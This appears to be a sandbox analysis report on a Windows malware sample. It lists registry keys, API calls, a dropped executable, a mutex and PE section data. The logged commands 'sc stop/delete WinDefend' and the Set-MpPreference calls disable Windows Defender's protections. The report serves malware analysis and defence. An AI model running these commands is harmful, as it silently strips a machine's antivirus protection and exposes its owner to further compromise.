HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\erpqvfp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfen.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OIs!!!!!!!!!ZXXFxBssvprQvtvgnyFSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\ZFGBER.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OIs!!!!!!!!!ZXXFxFrgYnathntrSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OIs!!!!!!!!!ZXXFxJkcSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BVF.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Pbzzba Svyrf\zvpebfbsg funerq\BSSVPR14\Bssvpr Frghc Pbagebyyre\cebzb.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{53123611-QN37-S8QN-SNP9-03R76QO9Q64Q}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Clguba27\clguba.rkr
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Recent
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_JumpListItems
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_JumpListItems
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackDocs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackDocs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine\PowerShellVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine\RuntimeVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine\ConsoleHostAssemblyName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NormalizeLinkNetPidls
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\System.NamespaceCLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\{28636AA6-953D-11D2-B5D6-00C04FD918D0} 6
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\WOW64
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\Environment
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AeLookupSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioSrv\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Group
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\LanguageList
cryptsp.dll.CryptAcquireContextA
setupapi.dll.CM_Get_Device_Interface_List_Size_ExW
setupapi.dll.CM_Get_Device_Interface_List_ExW
comctl32.dll.#386
advapi32.dll.UnregisterTraceGuids
comctl32.dll.#321
kernel32.dll.VirtualAlloc
ntdll.dll.memcpy
advapi32.dll.CryptAcquireContextA
advapi32.dll.CryptImportKey
advapi32.dll.CryptEncrypt
cryptsp.dll.CryptImportKey
cryptbase.dll.SystemFunction040
cryptbase.dll.SystemFunction041
cryptsp.dll.CryptEncrypt
kernel32.dll.SetThreadUILanguage
kernel32.dll.CopyFileExW
kernel32.dll.IsDebuggerPresent
kernel32.dll.SetConsoleInputExeNameW
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
cryptbase.dll.SystemFunction036
ole32.dll.CoCreateInstance
shell32.dll.#66
ole32.dll.CoGetApartmentType
ole32.dll.CoRegisterInitializeSpy
ole32.dll.CoTaskMemFree
comctl32.dll.#236
oleaut32.dll.#6
ole32.dll.CoTaskMemAlloc
ole32.dll.CoGetMalloc
ole32.dll.CoInitializeEx
ole32.dll.CreateBindCtx
comctl32.dll.#320
comctl32.dll.#324
comctl32.dll.#323
advapi32.dll.RegEnumKeyW
oleaut32.dll.#2
advapi32.dll.InitializeSecurityDescriptor
advapi32.dll.SetEntriesInAclW
ntmarta.dll.GetMartaExtensionInterface
advapi32.dll.SetSecurityDescriptorDacl
advapi32.dll.IsTextUnicode
comctl32.dll.#332
comctl32.dll.#338
comctl32.dll.#339
shell32.dll.#102
ole32.dll.CoUninitialize
comctl32.dll.#385
comctl32.dll.#336
comctl32.dll.#329
comctl32.dll.#333
ntdll.dll.RtlDllShutdownInProgress
propsys.dll.PSCreateMemoryPropertyStore
sechost.dll.ConvertSidToStringSidW
profapi.dll.#104
linkinfo.dll.CreateLinkInfoW
user32.dll.IsCharAlphaW
user32.dll.CharPrevW
ntshrui.dll.GetNetResourceFromLocalPathW
srvcli.dll.NetShareEnum
cscapi.dll.CscNetApiGetInterface
slc.dll.SLGetWindowsInformationDWORD
shlwapi.dll.PathRemoveFileSpecW
linkinfo.dll.DestroyLinkInfo
propsys.dll.PropVariantToBoolean
ole32.dll.PropVariantClear
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGenRandom
cryptsp.dll.CryptReleaseContext
ole32.dll.CoRevokeInitializeSpy
comctl32.dll.#388
oleaut32.dll.#500
advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll.CorBindToRuntimeEx
shlwapi.dll.UrlIsW
advapi32.dll.GetSecurityInfo
advapi32.dll.SetSecurityInfo
advapi32.dll.GetSecurityDescriptorControl
linkinfo.dll.IsValidLinkInfo
propsys.dll.#417
propsys.dll.PSGetNameFromPropertyKey
propsys.dll.PSStringFromPropertyKey
propsys.dll.InitVariantFromBuffer
oleaut32.dll.#9
propsys.dll.PropVariantToGUID
rpcrt4.dll.UuidFromStringW
rpcrt4.dll.RpcBindingCreateW
rpcrt4.dll.RpcBindingBind
sechost.dll.OpenSCManagerW
sechost.dll.OpenServiceW
sechost.dll.StartServiceW
sechost.dll.CloseServiceHandle
"C:\ProgramData\\xd0\x9e\xd0\x9b\xd0\xba\xd0\x90\xd0\xb5\xd1\x81\xd0\xbc\xd0\xab\xd1\x84\xd1\x86.exe"
C:\ProgramData\\xd0\x9e\xd0\x9b\xd0\xba\xd0\x90\xd0\xb5\xd1\x81\xd0\xbc\xd0\xab\xd1\x84\xd1\x86.exe
"C:\Windows\System32\cmd.exe" /c sc stop WinDefend
cmd.exe /c sc stop WinDefend
"C:\Windows\System32\cmd.exe" /c sc delete WinDefend
cmd.exe /c sc delete WinDefend
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
cmd.exe /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
cmd.exe /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableIOAVProtection $true
cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisablePrivacyMode $true
cmd.exe /c powershell Set-MpPreference -DisablePrivacyMode $true
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
cmd.exe /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -SevereThreatDefaultAction 6
cmd.exe /c powershell Set-MpPreference -SevereThreatDefaultAction 6
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -LowThreatDefaultAction 6
cmd.exe /c powershell Set-MpPreference -LowThreatDefaultAction 6
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
cmd.exe /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableScriptScanning $true
cmd.exe /c powershell Set-MpPreference -DisableScriptScanning $true
C:\Windows\system32\svchost.exe
sc stop WinDefend
sc delete WinDefend
powershell Set-MpPreference -DisableRealtimeMonitoring $true
powershell Set-MpPreference -DisableBehaviorMonitoring $true
powershell Set-MpPreference -DisableBlockAtFirstSeen $true
powershell Set-MpPreference -DisableIOAVProtection $true
powershell Set-MpPreference -DisablePrivacyMode $true
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
powershell Set-MpPreference -SevereThreatDefaultAction 6
powershell Set-MpPreference -LowThreatDefaultAction 6
powershell Set-MpPreference -ModerateThreatDefaultAction 6
powershell Set-MpPreference -DisableScriptScanning $true
C:\Windows\system32\lsass.exe
gcc-shmem-tdm2-use_fc_key
gcc-shmem-tdm2-sjlj_once
gcc-shmem-tdm2-once_global_shmem
gcc-shmem-tdm2-once_obj_shmem
gcc-shmem-tdm2-mutex_global_shmem
gcc-shmem-tdm2-_pthread_tls_once_shmem
gcc-shmem-tdm2-_pthread_tls_shmem
gcc-shmem-tdm2-mtx_pthr_locked_shmem
gcc-shmem-tdm2-mutex_global_static_shmem
gcc-shmem-tdm2-mxattr_recursive_shmem
gcc-shmem-tdm2-pthr_root_shmem
gcc-shmem-tdm2-idListCnt_shmem
gcc-shmem-tdm2-idListMax_shmem
gcc-shmem-tdm2-idList_shmem
gcc-shmem-tdm2-idListNextId_shmem
gcc-shmem-tdm2-fc_key
gcc-shmem-tdm2-_pthread_key_lock_shmem
gcc-shmem-tdm2-_pthread_cancelling_shmem
gcc-shmem-tdm2-cond_locked_shmem_rwlock
gcc-shmem-tdm2-rwl_global_shmem
gcc-shmem-tdm2-_pthread_key_sch_shmem
gcc-shmem-tdm2-_pthread_key_max_shmem
gcc-shmem-tdm2-_pthread_key_dest_shmem
Global\49113F2AFCA932832
KeyIso

Binary Entropy

PE Information

Image Base 0x00400000
Entry Point 0x004014e0
Reported Checksum 0x000ac495
Actual Checksum 0x000ac495
Minimum OS Version 4.0
Compile Time 2019-07-08 09:12:49
Import Hash 462feb341ceec5d1f9664aad7dc4a71f

Sections

Name Virtual Address Virtual Size Size of Raw Data Characteristics Entropy
.text 0x00001000 0x00020f14 0x00021000 IMAGE_SCN_CNT_CODE|IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_16BYTES 6.12
.data 0x00022000 0x00005078 0x00005200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_ALIGN_32BYTES 0.06
.rdata 0x00028000 0x0003c4bc 0x0003c600 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_32BYTES 6.14
.bss 0x00065000 0x000005f8 0x00000000 IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_ALIGN_32BYTES 0.00
